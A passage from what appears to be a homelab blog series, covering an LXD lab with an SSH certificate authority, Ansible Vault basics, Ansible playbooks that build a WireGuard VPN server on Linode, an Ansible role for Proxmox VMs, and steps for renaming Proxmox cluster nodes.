See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
tyla@client1:~$
# From client1 or client2, SSH into server1, server2, server3 or server4 as below
tyla@client1:~$ ssh server1.home.lab
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Jun 5 11:24:31 UTC 2025
System load: 0.57
Usage of /: 2.6% of 18.96GB
Memory usage: 0%
Swap usage: 0%
Temperature: 35.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.10
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fe6d:f4ac
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
tyla@server1:~$
```
As you can see, there is no TOFU prompt upon the first login attempt and SSH authentication is successful with SSH certificates.
## Teardown
After you have done with homelab testing and development works, it's also quite easy to clean up the environment with the following command.
```bash
$ ansible-playbook lxd-lab.yml -t destroy
PLAY [Manage LXD lab] ************************************************************************************************************************************************************************
TASK [lxd_manage : Remove LXD instance(s)] ***************************************************************************************************************************************************
changed: [server1]
changed: [client2]
changed: [client1]
changed: [server4]
changed: [server3]
changed: [server2]
PLAY [Configure /etc/hosts for DNS name resolution] ******************************************************************************************************************************************
PLAY [Configure SSH CA] **********************************************************************************************************************************************************************
TASK [Cleanup SSH CA directory upon destroy] *************************************************************************************************************************************************
changed: [localhost]
PLAY [Configure server-side for SSH certificate authentication] ******************************************************************************************************************************
PLAY [Configure client-side for SSH certificate authentication] ******************************************************************************************************************************
PLAY RECAP ***********************************************************************************************************************************************************************************
client1 : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
client2 : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
localhost : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server1 : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server2 : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server3 : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server4 : ok=1 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
$ lxc list
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
```
## Elevated Security: Leveraging an SSH Certificate Authority
This is a **game-changer** for lab security, often overlooked in many home setups. Instead of letting Ansible blindly trust new hosts or forcing you to manually manage host keys, this configuration implements a robust SSH Certificate Authority (CA):
* **Your CA signs each container's SSH host key.**
* The **CA's public key is distributed to all clients.**
* **`/etc/ssh/ssh_known_hosts` is configured with `@cert-authority`**, establishing a trusted chain.
The outcome? **No more annoying fingerprint prompts**, **no risk of Man-in-the-Middle (MITM) surprises**, and an overall **cleaner, more secure SSH experience.**
## Real-World Use Cases
`lxd-lab` isn't just for tinkering; it's a powerful tool for practical applications:
* **Develop and test Ansible roles** efficiently, without the overhead of full virtual machines.
* **Validate playbooks** in a controlled, repeatable lab environment, ensuring consistency.
* Leverage it as a **lightweight Continuous Integration (CI) testing environment** for rapid feedback.
* **Replace heavy Vagrant/VirtualBox + VM setups** for basic infrastructure simulation and proof-of-concept work.
## Final Thoughts
If you're ready to modernise your local development workflow and move beyond the overhead of traditional virtual machines, **`lxd-lab`** is your answer.
It's a minimal, automated, and secure environment, built with the same robust tools you likely already use in production. With `lxd-lab`, you'll discover how effortlessly containers can become your new, more efficient VMs.
# Ansible Vault
### Setting Ansible vault default editor
```bash
$ nano ~/.bashrc
# add the following to the end of .bashrc file then save it.
export EDITOR=nano
# source the modified .bashrc file as below
$ . ~/.bashrc
# verify the new environmental variable
$ echo $EDITOR
```
### Creating new encrypted files
```bash
# ansible-vault command to create new vault.yml file
$ ansible-vault create vault.yml
# Output as below
# Input the new vault password to encrypt it
New Vault password:
Confirm New Vault password:
# New vault.yml file will be open in nano
# Input some text encrypted
# Then check the contect of vault.yml as below
$ cat vault.yml
# Output
$ANSIBLE_VAULT;1.1;AES256
65316332393532313030636134643235316439336133363531303838376235376635373430336333
3963353630373161356638376361646338353763363434360a363138376163666265336433633664
30336233323664306434626363643731626536643833336638356661396364313666366231616261
3764656365313263620a383666383233626665376364323062393462373266663066366536306163
31643731343666353761633563633634326139396230313734333034653238303166
```
### Encrypting the existing file
```bash
# Create a dummy text file
$ echo 'unencrypted stuff' > encrypt_me.txt
# Encrypt the text file with the ansible vault command as below
$ ansible-vault encrypt encrypt_me.txt
# Output
New Vault password:
Confirm New Vault password:
Encryption successful
# Verify the encrypted file
$ cat encrypt_me.txt
# Output
$ANSIBLE_VAULT;1.1;AES256
66633936653834616130346436353865303665396430383430353366616263323161393639393136
3737316539353434666438373035653132383434303338640a396635313062386464306132313834
34313336313338623537333332356231386438666565616537616538653465333431306638643961
3636663633363562320a613661313966376361396336383864656632376134353039663662666437
39393639343966363565636161316339643033393132626639303332373339376664
```
### Viewing encrypted files
```bash
# Use the following command to view the encrypted file
$ ansible-vault view vault.yml
# Output
Vault password:
Secret information
```
### Editing encrypted files
```bash
# Use the following command to edit the encrypted file
$ ansible-vault edit vault.yml
# Output
Vault password:
# It will open vault.yml file in nano
```
### Manually decrypting encrypted files
```bash
# Use the command below to decrypt encrypted file
$ ansible-vault decrypt vault.yml
# Output
Vault password:
Decryption successful
# It will decrypt the vault.yml file into plain text now
```
**Note:** Because of the increased likelihood of accidentally committing sensitive data to your project repository, the `ansible-vault decrypt` command is only suggested for when you wish to remove encryption from a file permanently. If you need to view or edit a vault encrypted file, it is usually better to use the `ansible-vault view` or `ansible-vault edit` commands, respectively.
### Changing the password of encrypted files
```bash
$ ansible-vault rekey encrypt_me.txt
# Output
Vault password:
New Vault password:
Confirm New Vault password:
Rekey successful
```
### Running Ansible with Vault-Encrypted Files
```bash
# Use --ask-vault-pass option to get interactive prompt for vault password
$ ansible --ask-vault-pass -bK -m copy -a 'src=secret_key dest=/tmp/secret_key mode=0600 owner=root group=root' localhost
# Use --vault-password-file=.vault_pass for hidden password file
# Ensure that .vault_pass file is added to .gitignore
$ ansible --vault-password-file=.vault_pass -bK -m copy -a 'src=secret_key dest=/tmp/secret_key mode=0600 owner=root group=root' localhost
```
#### Reading the Password File Automatically
```bash
# Method 1
# Add the variable ANSIBLE_VAULT_PASSWORD_FILE to .bashrc
export ANSIBLE_VAULT_PASSWORD_FILE=./.vault_pass
# Run ansible again without --vault-password-file
$ ansible -bK -m copy -a 'src=secret_key dest=/tmp/secret_key mode=0600 owner=root group=root' localhost
# Method 2
# Add vault_password_file to ansible.cfg
[defaults]
. . .
vault_password_file = ./.vault_pass
# Run ansible again without --vault-password-file
$ ansible -bK -m copy -a 'src=secret_key dest=/tmp/secret_key mode=0600 owner=root group=root' localhost
```
Now, when you run commands that require decryption, you will no longer be prompted for the vault password. As a bonus, `ansible-vault` will not only use the password in the file to decrypt any files, but it will apply the password when creating new files with `ansible-vault create` and `ansible-vault encrypt`.
# Ansible WireGuard workflow on Linode
Spinning up a VPS on Linode with your favourite Linux distro and setting up a WireGuard server is truly easy and intuitive on its WebUI portal. I have done the same process of a VPS setup and its required configuration so many times on all those different cloud providers like Digital Ocean and Vultr. They are almost the same in user experience on each portal. However, I can't use it all platforms at the same time to make my workflow template-able like any other things in life. Repeating the same damn things is a bit boring and tedious. I am not a big fan of repeating the same thing again and again as I am lazy enough to get bored easily. Thus always looking for the easier way to make my life less miserable. Plus the cloud is not supposed to consume like that. It has its own way; DevOps way of life. So I have invested a week worth of research and implementing Ansible playbooks to automate my workflow on Linode.
In this article, I would like to share the Ansible workflow I use on Linode. Here is the list of prerequisites before straight delve into the tutorial.
* A valid Linode Personal Access Token (API Token)
* Python version 2.7 or higher installed
```
python --version
```
* The official Python library for the Linode API v4
```
sudo apt-get install python-pip
sudo pip install linode_api4
```
* Ansible's 2.8 release
* Git
* Basic understanding of Ansible ad-hoc and playbooks concept
### Setting up Ansible Playbooks
* Git clone
* Change the password inside ".vault-pass" file to desired one.
* To encrypt the plain-text root password with ansible-vault, run the following command.
```
ansible-vault encrypt_string 'PlainTextPassword' --name 'password'
```
Sample output as below
```
password: !vault |
$ANSIBLE_VAULT;1.1;AES256
30312345678639613832373335313062366536313334316465303462656664333064373933393831
3432313261613532346134622761316363363535326333360a626431376265373133653535373238
38323166666665376366663964343830633445563537623065356364343831316439396462343935
6233646239363434380a383433643763373066633535366137346638123456789064353466303734
1245
Encryption successful
```
* Copy the encrypted password block into var/linode\_wg.yml
* Repeat the same encryption process with Linode API token
* As you are in var/linode\_*wg.yml, update the following variables as desired.*
{% code title="vars/linode\_wg.yml" %}
```
ssh_keys: >
['<< Your SSH Public Key Here! >>', '~/.ssh/id_rsa.pub']
hostname: tyla-linode-wg01 # change the hostname as required
type: g6-nanode-1 # change Linode Plan as required. Here it uses the Linode's Shared CPU Nanode (RAM: 1 GB, CPUs: 1 & Storage: 25 GB) as my node
region: ap-south # change the region as required. Here it uses Singapore as my region
image: linode/ubuntu20.04 # change the image as required. Here it uses the Linode's Ubuntu20.04 as my base image
gt: tyla-linode-wg # it uses for group and tag names
wg_ip: '192.168.69.254' # wireguard server wg0 virtual interface IP
my_ip: '1.2.3.4' # your public IP for SSH remote access restriction
password: << Your "ansible-vault encrypt_string 'YourSecretHere' --name 'password'" Output Here! >> # root password used for the new Linode which is encrypted with ansible-vault for security
token: << Your "ansible-vault encrypt_string 'YourLinodeAPITokenHere' --name 'token'" Output Here! >> # Linode API Token created on your Linode portal which is encrypted with ansible-vault for security
```
{% endcode %}
* Also note that wg\_ip: variable's IP subnet needs to be same as the subnet used in wg/users.csv as shown in below sample.
{% code title="wg/users.csv" %}
```
usr,ip
1,192.168.69.1
2,192.168.69.2
3,192.168.69.3
4,192.168.69.4
5,192.168.69.5
```
{% endcode %}
* Make sure that ansible.cfg is configured correctly to work with Ansible playbooks.
{% code title="ansible.cfg" %}
```
[defaults]
host_key_checking = False
vault_password_file = ./.vault-pass # ansible-vault password file
[inventory]
enable_plugins = linode
```
{% endcode %}
* Prepare the Jinja2 templates as following.
{% code title="templates/wg0.conf.j2" %}
```
[Interface]
Address = {{ wg_ip }}/32
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUTING -o {{ ansible_default_ipv4.interface }} -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUTING -o {{ ansible_default_ipv4.interface }} -j MASQUERADE
ListenPort = 51820
PrivateKey = {{ wg_pri.stdout }}
```
{% endcode %}
{% code title="templates/wg\_peer.j2" %}
```
[Interface]
PrivateKey = {{ prikey }}
Address = {{ item.ip }}
DNS = 1.1.1.1, 1.0.0.1
[Peer]
PublicKey = {{ wg_pub.stdout }}
AllowedIPs = 0.0.0.0/0
Endpoint = {{ hostvars[inventory_hostname]["inventory_hostname"] }}:51820
PersistentKeepalive = 25
```
{% endcode %}
{% code title="templates/wg\_srv.j2" %}
```
[Peer]
# user{{ item.usr }} wg
PublicKey = {{ pubkey }}
AllowedIPs = {{ item.ip }}/32
```
{% endcode %}
### Prepare and Execute Ansible Playbooks
* Believe it or not. It is all good and ready to run wg\_build.yml playbook now.
```
# To run the whole wg_build.yml playbook
$ ansible-playbook playbooks/wg_build.yml
# To run a specific play in wg_build.yml playbook
$ ansible-playbook playbooks/wg_build.yml --tags infra
$ ansible-playbook playbooks/wg_build.yml --tags init
$ ansible-playbook playbooks/wg_build.yml --tags wg
# To run unit testing on Linode initial config and wireguard config
$ ansible-playbook playbooks/wg_build.yml --tags conf-test
$ ansible-playbook playbooks/wg_build.yml --tags wg-test
or
$ ansible-playbook playbooks/wg_build.yml --tags tests
```
* Relevant notes are added to each playbook for further description as well.
{% code title="playbooks/wg\_build.yml" %}
```
---
# First play is used to create a new linode with your Linode portal API Token as below play
- name: CREATE A NEW LINODE
hosts: localhost
tags: [ always, infra ] # those tags can be used for easy access to a particular play of the whole playbook
vars_files:
- ../vars/linode_wg.yml
tasks:
- name: Create a new Linode.
linode_v4:
label: "{{ hostname }}"
access_token: "{{ token }}"
type: "{{ type }}"
region: "{{ region }}"
image: "{{ image }}"
root_pass: "{{ password }}"
authorized_keys: "{{ ssh_keys }}"
group: "{{ gt }}"
tags: "{{ gt }}"
state: present
register: tyla
- name: Display info about my Linode instance # this task is used for the new Linode verificaiton
debug:
msg: "{{ hostname }} | {{ tyla.instance.id }} | {{ tyla.instance.ipv4[0] }}"
- name: Add new host to in-memory inventory # this task is used to add the Linode public IP to Ansible in-memory inventory along with its group name
add_host:
name: "{{ tyla.instance.ipv4[0] }}"
groups: linode_wg
changed_when: false
- name: Wait for Linode to listen on port 22 # ensure that the new Linode is running and ready to move on with the next play
wait_for:
state: started
host: "{{ tyla.instance.ipv4[0] }}"
port: 22
# Second play is used for a standard initial configuration required on Ubuntu 20.04 Linux box
- name: INITIAL CONFIGURATION ON THE NEW LINODE
tags: init
hosts: linode_wg
user: root
vars_files:
- ../vars/linode_wg.yml
tasks:
- name: Initial Linode Configuration
tags: conf
block: # block is used here for controlling which set of tasks in each I want to execute. e.g., here I tag 'conf'
- name: Set hostname
hostname: name="{{ hostname }}"
- name: Update apt repo and cache
apt: update_cache=yes force_apt_get=yes cache_valid_time=3600
- name: Upgrade all apt packages
apt: upgrade=dist force_apt_get=yes
- name: Check if a reboot is needed after apt upgrade
register: reboot
stat: path=/var/run/reboot-required get_md5=no
- name: Reboot the Ubuntu Linode
reboot:
msg: "Reboot initiated by Ansible due to kernel updates"
connect_timeout: 5
reboot_timeout: 300
pre_reboot_delay: 0
post_reboot_delay: 30
test_command: uptime
when: reboot.stat.exists
- name: Enable packet forwarding for IPv4 # this task is important for WireGuard to work correctly by allowing IP forwarding thru the node
sysctl:
name: net.ipv4.ip_forward
value: '1'
sysctl_set: true
state: present
reload: true
- name: Configure SSH key authentication only # desired state of /etc/ssh/sshd_config is used to restrict ssh remote access
copy: src=../files/sshd_config dest=/etc/ssh/sshd_config
notify: Restart SSH
- name: Allow SSH in UFW
ufw:
rule: limit
port: ssh
proto: tcp
src: {{ my_ip }}
dest: 0.0.0.0/0
- name: Allow WireGuard in UFW
ufw:
rule: allow
port: '51820'
proto: udp
dest: 0.0.0.0/0
- name: Deny everything and enable UFW
ufw:
state: enabled
policy: deny
log: true
- name: Unit testing on initial configuration # unit testing to verify the system configured and tags are used to run specific block
tags: [ never, tests, conf_test ]
block:
- name: Get the output of /etc/sysctl.conf file
command: tail -1 /etc/sysctl.conf
register: sysctl
changed_when: false
- name: Test if /etc/sysctl.conf is configured correctly
assert:
that:
- "'net.ipv4.ip_forward=1' in sysctl.stdout_lines"
success_msg: "[PASS] IP Forwarding is configured correctly."
fail_msg: "[FAIL] IP Forwarding is not configured or misconfigred."
- name: Get the output of /etc/ssh/sshd_config
command: cat /etc/ssh/sshd_config
register: ssh
changed_when: false
- name: Test if /etc/ssh/sshd_config is configured correctly
assert:
that:
- "'PermitRootLogin prohibit-password' in ssh.stdout_lines"
- "'PubkeyAuthentication yes' in ssh.stdout_lines"
- "'PasswordAuthentication no' in ssh.stdout_lines"
- "'PermitEmptyPasswords no' in ssh.stdout_lines"
success_msg: "[PASS] SSH Daemon is configured correctly."
fail_msg: "[FAIL] IP Forwarding is not configured or misconfigred."
handlers:
- name: Restart SSH
systemd:
state: restarted
name: ssh
# Third play is for WireGuard installation and configuration for both server and peers
- name: WIREGUARD INSTALLATION AND CONFIGURATION
tags: wg
hosts: linode_wg
user: root
vars_files:
- ../vars/linode_wg.yml
tasks:
- name: Installing and Configurating WireGuard
block:
- name: Install WireGuard and QRencode on the Linode
apt:
name: [ wireguard, qrencode ]
state: present
- name: Generate WireGuard keypair
shell: wg genkey | tee /etc/wireguard/pri | wg pubkey > /etc/wireguard/pub
args:
creates: /etc/wireguard/pri
- name: Register private key
shell: cat /etc/wireguard/pri
register: wg_pri
changed_when: false
- name: Register public key
shell: cat /etc/wireguard/pub
register: wg_pub
changed_when: false
- name: Setup wg0 virtual interface
template:
src: ../templates/wg0.conf.j2 # Jinja2 template is used for templating the wg0.conf files
dest: /etc/wireguard/wg0.conf
owner: root
group: root
mode: 0640
- name: Start and enable WireGuard service
systemd:
state: started
enabled: true
name: wg-quick@wg0.service
- name: Unit testing on WireGuard configuration # unit testing for wireguard configuraiton
tags: [ never, tests, wg_test ]
block:
- name: Check the private key file location
stat:
path: /etc/wireguard/pri
register: pri_key_file
- name: Test if the private key file exists
debug:
msg: "[PASS] The private key file exists."
when: pri_key_file.stat.exists
- name: Register private key
shell: cat /etc/wireguard/pri
register: wg_pri
changed_when: false
- name: Dispaly WireGuard Private Key
debug: var=wg_pri.stdout
- name: Check the public key file location
stat:
path: /etc/wireguard/pub
register: pub_key_file
- name: Test if the public key file exists
debug:
msg: "[PASS] The public key file exists."
when: pub_key_file.stat.exists
- name: Register public key
tags: always
shell: cat /etc/wireguard/pub
register: wg_pub
changed_when: false
- name: Dispaly WireGuard Public Key
debug: var=wg_pub.stdout
- name: WireGuard peer(s) configuration # this block is only executed on localhost but not on the newly created Linode so 'delegate_to:' must be used.
delegate_to: localhost
block:
- name: Read users.csv file
read_csv:
path: ../wg/users.csv
register: users
- name: Generate WireGuard user(s) keypair and configuration # loop thru users.csv file and produce both server and peers configs
include_tasks: wg_user.yml
loop: "{{ users.list }}"
- name: Update WireGuard server's wg0.conf with wg0_peer.conf # this block is executed on the Linode's wireguard server
block:
- name: Merge wg0_peer.conf into WireGuard server's wg0.conf
lineinfile:
line: "{{ lookup('file', '../wg/wg0_peer/wg0_peer_{{ ansible_date_time.epoch }}.conf') }}"
dest: /etc/wireguard/wg0.conf
notify: Restart WireGuard
handlers:
- name: Restart WireGuard # everytime updating wg0.conf it needs to restart the wireguard service
systemd:
state: restarted
name: wg-quick@wg0.service
```
{% endcode %}
{% code title="playbooks/wg\_user.yml" %}
```
---
- name: Create directory for user{{ item.usr }} # ensure that 'user' and its relevant subdirectories are created.
file:
path: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/
state: directory
- name: Generate WireGuard peer's keypair for user{{ item.usr }} # issue wireguard peer's keypair
shell: wg genkey | tee ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pri.key | wg pubkey | tee ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pub.key
args:
creates: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pri.key # do not run this task if the private key is already created for idempotency
- name: Generate WireGuard peer's configuration for user{{ item.usr }} # produce wireguard peers' configs with its private key and server public key
vars:
prikey: "{{ lookup('file', '../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pri.key') }}"
template:
src: ../templates/wg_peer.j2
dest: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.conf
- name: Generate QRcode for WireGuard peer's configuration for user{{ item.usr }} # encode the peers' configs to QRCode in .png format for mobile devices
shell: qrencode -o ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.png -t png < ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.conf
- name: Ensures ../wg/_QRCode/ dir exists
file:
path: ../wg/_QRCode/
state: directory
- name: Copy user{{ item.usr }} QRcode to _QRCode folder # QRCode collection for easy distribution to the end VPN users
copy:
src: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_peer.png
dest: ../wg/_QRCode/user{{ item.usr }}.png
- name: Generate WireGuard server's configuration for user{{ item.usr }} # produce the server side wireguard configs for easy rebuild and idempotency
vars:
pubkey: "{{ lookup('file', '../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}.pub.key') }}"
template:
src: ../templates/wg_srv.j2
dest: ../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_srv.conf
- name: Merge user{{ item.usr }}_srv.conf into wg0_peer.conf # merge all server side configs into one conf file to directly deliver it to wireguard server and apply
lineinfile:
line: "{{ lookup('file', '../wg/user/usr_{{ item.usr }}_{{ item.ip }}/{{ item.usr }}_srv.conf') }}"
dest: ../wg/wg0_peer/wg0_peer_{{ ansible_date_time.epoch }}.conf
create: true
```
{% endcode %}
* To tear down the Linode, run playbooks/wg\_PURGE.yml as below.
```
$ ansible-playbook playbooks/wg_PURGE.yml
```
{% code title="playbooks/wg\_PURGE.yml" %}
```
---
# This play is for destroying the running wireguard server on Linode. RUN IT CAREFULLY!
- name: Delete Linode
hosts: localhost
vars_files:
- ../vars/linode_wg.yml
tasks:
- name: Delete your Linode Instance.
linode_v4:
label: "{{ hostname }}"
access_token: "{{ token }}"
state: absent
```
{% endcode %}
Now you see how easy it is to build and tear down WireGuard VPN server Linode with one Ansible command in DevOpsy fashion. Hope it's helpful and informative.
# Proxmox Lab with Ansible
Imagine managing your homelab infrastructure with enterprise-level precision, all without the complexity of Terraform pipelines. That's exactly what this project is about.
In this article, I'll guide you through `ansible-pve-lab` repo - , a sleek, Ansible-driven workflow designed to automate the deployment and configuration of QEMU KVM virtual machines on Proxmox VE. Whether you're setting up a new small lab or expanding a comprehensive service mesh of VMs, this repository provides an opinionated, yet incredibly flexible, method for orchestrating your Proxmox environment using only YAML and Ansible playbooks.
No more battling with Terraform. No need for additional orchestrators. Just the power of Ansible, the simplicity of Proxmox's CLI, and a workflow that's clear and repeatable. Although there is a module called proxmox\_kvm, it's preferable to use the SSH key authentication rather than API token and password. Plus the Proxmox's CLI is quite powerful to manage any resource for virtualisation.
## Prerequisites
* 3-node Proxmox VE with or without cluster and Ceph storage setup
* SSH key authentication for root account on each node
* Ansible controller node
## Proxmox Configuration
There are three nodes in this Proxmox setup as below.
* **pmx1**: `192.168.100.101`
* **pmx2**: `192.168.100.102`
* **pmx3**: `192.168.100.103`
## Ansible Setup
### Configuration
Following is how the environment configured locally for Ansible.
```ini
[defaults]
inventory = inventory
ask_pass = false
ask_become_pass = false
host_key_checking = false
timeout = 30
forks = 10
retry_files_enabled = false
interpreter_python = auto
callback_whitelist = timer, profile_tasks
log_path = ./ansible.log
result_format = yaml
[privilege_escalation]
become = true
become_method = sudo
become_ask_pass = false
[ssh_connection]
pipelining = true
ssh_args = -o ControlMaster=auto -o ControlPersist=60s
control_path = ~/.ssh/ansible-ssh-%%h-%%p-%%r
```
### Inventory
Here is how Ansible inventory looks like for the lab.
```yaml
all:
children:
pmxcluster:
vars:
ansible_user: root
children:
pmx1:
vars:
ansible_host: 192.168.100.101
hosts:
web-vm:
vmid: 100
memory: 1024
cores: 1
disk: 10
store: ceph1
mac: bc:24:11:32:10:11
vlan: 10
app-vm:
vmid: 101
memory: 2048
cores: 2
disk: 15
store: ceph1
mac: bc:24:11:32:10:12
vlan: 20
pmx2:
vars:
ansible_host: 192.168.100.102
hosts:
db-vm:
vmid: 200
memory: 1024
cores: 1
disk: 20
store: ceph1
mac: bc:24:11:32:10:21
vlan: 10
cache-vm:
vmid: 201
memory: 2048
cores: 2
disk: 25
store: ceph1
mac: bc:24:11:32:10:22
vlan: 20
pmx3:
vars:
ansible_host: 192.168.100.103
hosts:
mon-vm:
vmid: 300
memory: 1024
cores: 1
disk: 30
store: ceph1
mac: bc:24:11:32:10:31
vlan: 10
log-vm:
vmid: 301
memory: 2048
cores: 2
disk: 35
store: ceph1
mac: bc:24:11:32:10:32
vlan: 20
```
It's designed to create each virtual machine on respective Proxmox VE node with its relevant VM specification.
### Role
The workflow has been created as an Ansible role in order to integrate with any other roles in the future. It's called pve\_manage\_vm.
```yaml
---
- name: Get list of existing VMs
command: qm list
register: qm_list
- name: Parse existing VMIDs
set_fact:
existing_vmids: >-
{{
qm_list.stdout_lines[1:] |
map('regex_search', '^\\s*(\\d+)') |
select('string') |
list
}}
- name: Check if VM already exists
set_fact:
vm_exists: "{{ vmid | string in existing_vmids }}"
- name: Create VM if it doesn't exist
command: >
qm create {{ vmid }}
-name {{ inventory_hostname }}
-memory {{ memory }}
-cores {{ cores }}
-net0 virtio,bridge=vmbr0,macaddr={{ mac }},tag={{ vlan | default(omit) }}
-scsihw virtio-scsi-pci
-scsi0 {{ store }}:{{ disk }}
-boot order=scsi0;net0
-onboot yes
-agent enabled=1
-ostype l26
when: not vm_exists
register: create_result
changed_when: true
- name: Start VM
ignore_errors: true
command: qm start {{ vmid }}
- name: Debug VM already exists
debug:
msg: "VM {{ vmid }} already exists on {{ inventory_hostname }}, skipping creation."
when: vm_exists
- block:
- name: Stop VM if running
ignore_errors: true
command: qm stop {{ vmid }}
- name: Destroy VM
command: qm destroy {{ vmid }} -purge -destroy-unreferenced-disks 1
tags:
- never
- destroy
```
### Playbook
To consume the role, a simple playbook called deploy.yml has been setup as below.
```yaml
---
- name: Manage Proxmox VMs
hosts: all
gather_facts: false
roles:
- pve_manage_vm
```
#### Build
We can consume the playbook as following to automate QEMU KVM VMs creation on multiple Proxmox VE nodes.
```bash
ansible-playbook deploy.yml
```
#### Teardown
To clean it up, run the following command.
```bash
ansible-playbook deploy.yml -t destroy
```
## Conclusion
And there you have it. We've journeyed through the core of `ansible-pve-lab`, a testament to what's possible when the power of Ansible meets the robust capabilities of Proxmox VE. No longer are you bound by manual configurations or the intricate web of complex orchestration tools. Instead, you've unlocked a world where your homelab - whether a burgeoning cluster or a sprawling service mesh - operates with the precision, efficiency, and repeatability of a top-tier production environment.
This isn't just about deploying VMs; it's about reclaiming your time, empowering your innovation, and building a foundation for experimentation that's as solid as it is flexible. With pure YAML, elegant Ansible playbooks, and the straightforward command-line interface of Proxmox, you now possess the blueprint to not only manage, but truly master your virtualised infrastructure.
The journey of automation is continuous, and this framework provides a powerful launchpad. Adapt it, expand it, and let it be the catalyst for your next great homelab adventure. Go forth, automate, and build with confidence - your epic homelab awaits!
# Changing hostnames and IP addresses of nodes in Proxmox cluster
Let's face it, we've all been there. You set up your Proxmox homelab (or even a production cluster!), everything's purring along, and then you realise you need to change a hostname or, even more daunting, an IP address. While it seems like a straightforward task, a few missteps can quickly turn a perfectly good cluster into a digital headache. (Trust me, I've learned this the hard way more than once!)
This guide aims to demystify the process of safely and effectively updating hostnames and IP addresses for each node in your Proxmox cluster. Whether you're running a small homelab like my three-node setup (pictured below!) or managing a more extensive production environment, these steps will help you avoid the pitfalls and keep your cluster humming.
## Our Proxmox Cluster: Before and After
For this walkthrough, we're taking our existing Proxmox cluster, currently configured with the following nodes and their respective IP addresses:
* **pve1**: `192.168.100.250`
* **pve2**: `192.168.100.163`
* **pve3**: `192.168.100.174`
Our goal is to transform this setup to a more streamlined naming convention and IP scheme. We'll be re-configuring them as:
* **pmx1**: `192.168.100.101`
* **pmx2**: `192.168.100.102`
* **pmx3**: `192.168.100.103`
We'll tackle this process one node at a time to ensure a smooth transition and minimise downtime. Let's dive in!
## Important Precaution: Back Up! Back Up!
Before you start making any changes to your Proxmox cluster, it is **absolutely crucial** that you perform a full backup. This includes all your:
* **LXC containers**
* **QEMU virtual machines (VMs)**
While this process is designed to be smooth, unforeseen issues can always arise. Having a recent backup will save you a lot of headache (and potential data loss!) if anything goes awry. Don't skip this vital step!
## Steps
Now, let's walk through the necessary steps for each Proxmox node. You'll need to **perform these actions on every single node in your cluster, one by one**, to successfully update their hostnames and IP addresses.
```bash
## Stop pve-cluster and corosyn daemon
systemctl stop pve-cluster corosync
## Mount the filesystem locally
pmxcfs -l
## Change the hostname to pmx1 with hostnamectl
hostnamectl set-hostname pmx1.lab
## Update the IP address details as required
vi /etc/network/interfaces
auto lo
iface lo inet loopback
iface enp1s0 inet manual
auto vmbr0
iface vmbr0 inet static
address 192.168.100.101/24
gateway 192.168.100.1
bridge-ports enp1s0
bridge-stp off
bridge-fd 0
source /etc/network/interfaces.d/*
## Update the hostname entry in /etc/hosts
vi /etc/hosts
127.0.0.1 localhost.localdomain localhost
192.168.100.101 pmx1.lab pmx1
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
## Update /etc/pve/corosync.conf with new host details
vi /etc/pve/corosync.conf
logging {
debug: off
to_syslog: yes
}
nodelist {
node {
name: pmx1
nodeid: 1
quorum_votes: 1
ring0_addr: 192.168.100.101
}
node {
name: pmx2
nodeid: 2
quorum_votes: 1
ring0_addr: 192.168.100.102
}
node {
name: pmx3
nodeid: 3
quorum_votes: 1
ring0_addr: 192.168.100.103
}
}
quorum {
provider: corosync_votequorum
}
totem {
cluster_name: cluster1
config_version: 3
interface {
linknumber: 0
}
ip_version: ipv4-6
link_mode: passive
secauth: on
version: 2
}
## Update /etc/pve/priv/known_hosts with new host details
vi /etc/pve/priv/known_hosts
